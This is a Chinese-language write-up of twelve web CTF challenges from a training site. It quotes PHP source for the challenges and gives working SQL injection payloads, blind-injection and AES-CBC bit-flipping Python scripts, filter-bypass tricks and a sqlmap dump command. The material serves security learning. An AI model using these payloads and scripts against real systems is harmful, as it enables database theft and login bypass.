一.简单的登录题
进入首页以后是一个登录框
然后抓包的时候发现一个小提示:
然后直接get这个文件下来看看.
其中test.php的源代码如下所示:
define("SECRET_KEY", '***********');#秘钥
define("METHOD", "aes-128-cbc");#cbc模式,一个模块加密以后拿去与下一个模块异或,然后下一个模块再加密
error_reporting(0);#设置错误报告等级,关掉所有的错误报告
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}#sql注入检查
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;#生成随机iv
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);#明文先进行序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#进行加密
setcookie("iv", base64_encode($iv));#iv进行编码以后放在cookie里面
setcookie("cipher", base64_encode($cipher));#cipher进行加密以后放在cookie里面
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#检查cookie里面这两个值是不是
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#尝试解密
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize
");#解密后反序列化
$sql="select * from users limit ".$info['id'].",0";#limit的用法是只查这一个用户开始之后偏移量为0的数据
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'
';
}
else{
echo 'Hello!
';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){#如果id不为空,检查并接收id
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("sql inject detected!
");
$info = array('id'=>$id);#创建一个数组
login($info);#这样的话其实就是拿id来加密了.....
echo 'Hello!
';
}else{#如果id为空,就检查iv以及cipher,不为空就进行检查
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{#啥都没有就相当于重新刷新首页
echo '
';
}
}
看了源代码发现这是个aes-128-cbc模式加密代码.
截取一个包看看
可以看到有ID的话其实只会显示hello,我们要进行sql查询flag就不能有id,但要有iv和cipher....
接下来看看大佬的解决方案怎么写的,代码如下:
# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}#ID是payload
r = requests.post(url, data=payload)发送post包出去,经测试赋值的时候就会出去了
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie
iv_raw = b64decode(urllib.unquote(iv))#解码
cipher_raw=b64decode(urllib.unquote(cipher))#解码,unquote是把一些特殊字符的转义给解析回来
lst=list(cipher_raw)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv': iv,'cipher':cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content#r.content是返回包的内容
plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
plain = b64decode(plain)#解密明文
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont#做两次是为啥
denglu('12',4,'2','#')
denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#开始进行sql查询,这里可能需要加密知识不是很懂...
denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')
这里涉及加密的内容,以后补上吧....
二.后台登录
进去了以后直接f12,看到提示
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
可以看到输入的点只有password一个,然后进行了md5加密.
这里科普一下php的md5函数.
运行实例如下:
可以看到raw这个参数是用来控制输出格式的,True的时候输出是16进制转字符串的结果,false的时候是输出普通16进制的结果.
那也就是说要直接有某个字符串,md5后转换为16进制包含
' or '
就可以了.
Google了一波,发现已经有人发现这样的字符串了:
ffifdyop
操作如下:
flag就出来了.
三.加了料的报错注入
这道题一上来就是要你post username以及password然后直接上
直接抓包的话是Get请求,所以需要在hackbar里面填数据,经过测试发现username以及password都是有注入点的.接着进行注入点fuzz测试一下过滤了哪些,发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml
于是可以利用这种不同地方过滤规则不一样的漏洞,通过http分割注入来进行get flag.
payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
可以get到数据库名称是error_based_hpf
接着利用这种分割注入(其实就是加入注释符号而已....)
然后就是查询表明,数据库名已经知道了,所以直接上payload:
payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1
这里过滤了=,所以不能直接指定数据库,大佬说用like或者regexp代替,我试了一下like被过滤了,绕过方法可真是多种多样...
[图片上传中...(Selection_001.jpg-bc5522-1550628832873-0)]
然后就是知道两个表是ffll44jj,users
接着获取列.
payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
然后查数据
payload:username=' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
最终获取flag{err0r_b4sed_sqli_+_hpf}
四.认真一点
该题目首页如下:
检测结果是空格会被过滤,空格过滤那就是用括号或者注释符来代替
逗号被过滤,直接sql detected,这里大佬说用from for可以代替,学一波,经测试是直接可以select mid(database() from(1) for(5))#选择数据库名称1到5位置的字符
然后if没被过滤,等于号没被过滤,然后学习一波大佬的盲注脚本
import requests;
import string
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
s=requests.session()
ascii=string.printable
def exploit(payload):
payload=payload.replace(' ',chr(0x0a));
flag=''
for i in range(1,20):
for j in ascii:
temp=j;
data={'id':payload.format(i,temp)};
html=s.post(url,data=data);
if "You are in" in html.content.decode('utf-8'):
if j=='*':
j=' '
flag+=j;
print(flag);
break;
if __name__=='__main__':
exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")
这里第一的exploit是获取数据库名的,其中的{}老是看不明白,最后debug才发现原来是留白给后面format填充的.
这个最好自己写一遍.....才明白啥意思
整理一下盲注脚本的思路就是不断用mid函数注入出来一个字母再比对这个字母是啥就可以了.
总结下那个盲注的思路就是利用mid函数探测每一个字符,通过一个个字符探测最后把那个flag名称拼接起来。
五.你真的会PHP吗
然后就上burp发现一个hint...
直接访问以后是一些php代码,应该是考php代码审计。。。
$value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number); #Convert any scalar value (string, integer, or double) to a string.
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);#. intval()函数. 作用:. 获取变量的整数值.
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
从代码审计中可以看出,首先number域不能为空,然后就是不能为纯数字,有is_numeric来判断,然后就是不能为一个回文数,这个是由is_palindrome_number来判断(PS:数字的特点是正反序是同一个数字),最后该数的翻转的整数值应该等于它本身的整数值,最后构建payload:0e-0%00....%00是用来绕过那个isnumber检查的
注意发送数据的时候要改成post不用get方法.
六.登陆一下好嘛
这道题提示要用万能密码绕过,但是过滤了很多玩意..
然后就是常见的fuzz,这里我自己写了个测试fuzz的框架,可以测试特殊字符哪些被过滤了.
import requests;
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
data = {'username':payload, 'password':'admin'};
headers={
'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5'
};
html=s.post(url,data=data,headers=headers);
r=html.content.decode("utf-8");
#print(r);
if 'username:'+payload+'' in r:
pass;
else:
print(payload+' was pass');
if __name__=='__main__':
for i in ascii:
exploit_test(i);
测试结果是:
# was pass
* was pass
/ was pass
| was pass
所有ascii中这四个字符被过滤了,然后就是各种常见的sql注入函数,懒得搞看看别人的writeup说or,union,select也一样被过滤,所以'就没被过滤喽...
学一个新的万能密码:''=',如图
select * from table where username= '''='' and password='''=''
所以到底这是啥意思,一脸懵逼,这里是直接绕过两个限制吗?那其他部分不报错?
七.Who You Are
这道感觉是日志污染?
然后直接使用x-forwarded-for字段来污染,因为该字段会记录我们的ip地址给他.记住一句话,要发送数据一定要转成post方法....
然后就是fuzz阶段,测到如果是加了','以及后面的内容会被过滤,记得前面代替,的是mid from for.这道题考的是基于时间的盲注来着.直接上盲注脚本,这里学习一波case when then语句,先上一份找数据库名代码...
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,5):#这里是建立在已知长度为4的情况下
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(i,j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now i is %s\n'%i);
flag+=j;
print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判断数据库名称为web4
探索表数量代码如下:
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,7):
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now table number is %s\n'%j);
flag+=j;
#print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
#exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");
经过探测表数量为2
总体过程如下:
判断数据库名称长度 1' and case when (length((SELECT concat(database())))<5) then sleep(3) else sleep(0) end and '1'='1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用<4的时候,执行不成功,说明数据库长度为4个字符。
判断数据库名的各个字符,"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1"%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
查看数据库中表单的数量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判断数据库中有两个表。
判断数据库表名长度,"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i),其中i为长度。
判断数据库表名,"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag。
判断表flag字段,"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),得到字段flag。
判断表flag,字段flag中内容长度,"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i。
获取flag值,"1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1"%(i,str)。
八.因缺思汀的绕过
web题目的思路,看源码,看请求,看响应...
源码里看到一个source.txt
所以直接请求这个文件看看
'."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水�载舟,亦�赛艇�";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦�赛艇�";
}
}else{
print "一颗赛艇�";
}
mysql_close($con);
?>
看源码可以知道一共有三个绕过条件
- $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整个条件使用正则表达式来匹配,然后直接绕过就可以了(' or '1'#)
- if (mysql_num_rows($query) == 1) 这个是限制查询出来的数据只有一个数据列,使用limit 1就可以了.
- if(_POST['pwd'])这个要求我们post的pwd字段和目的结果集中的查询结果要一致,大佬们说用group by with rollup来解决这问题,使用这语句以后会在结尾插入一个null,然后使用limit offset语句来查询这个null,产生null=null的结果从而绕过该限制...
payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
九:简单的sql注入之3
这道题莫名其妙的,fuzz之后出现各种结果,不过要收集好的fuzz材料也是必须的...
然后看了一下说是空格做了特别处理,想起sqlmap的space2comment脚本,直接获取flag
sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
十.天下武功唯快不破
这道题目的思路就是http返回包里有一个flag,经过base64编码的,然后获取这个flag解码以后变成key:flag.b64decode post出去,然后直接获取真正的flag回来就行了,代码如下:
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL
response = requests.post(url,data={"key":"1"}) # 打开链接
flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")
# head = response.headers # 获取响应头
# flag = base64.b64decode(head['flag']) # 获取相应头中的Flag
print(flag) # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = requests.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print(result.text) #
十一.让我进去
这道题一上来直接看源码,没发现啥,然后看请求响应也没看出啥,一脸懵逼,最后直接看了看writeup发现是修改cookie参数,我去....
然后直接获取源码看下:
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
看下来要获取flag有几个条件...
1是账号为admin,密码不应该是admin,二是用户名密码加盐值,md5之后的数值应该和cookie领域getmein的值相等,网上说这道题目是做所谓的hash长度拓展攻击.
不说了文章看的一脸懵逼,密码学钻进去也是深的一撇.....
所以学大佬最简单的方法....
还是一脸闷逼...
十二.拐弯抹角
首页直接给了一段源代码,如下:
';
$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'
';
$flag = "CTF{???}";
$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;
//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}
//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}
//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}
//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}
//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
}
//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
}
//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;
echo 'Flag: '.$flag;
echo '
';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);
echo highlight_string($code, TRUE);
echo '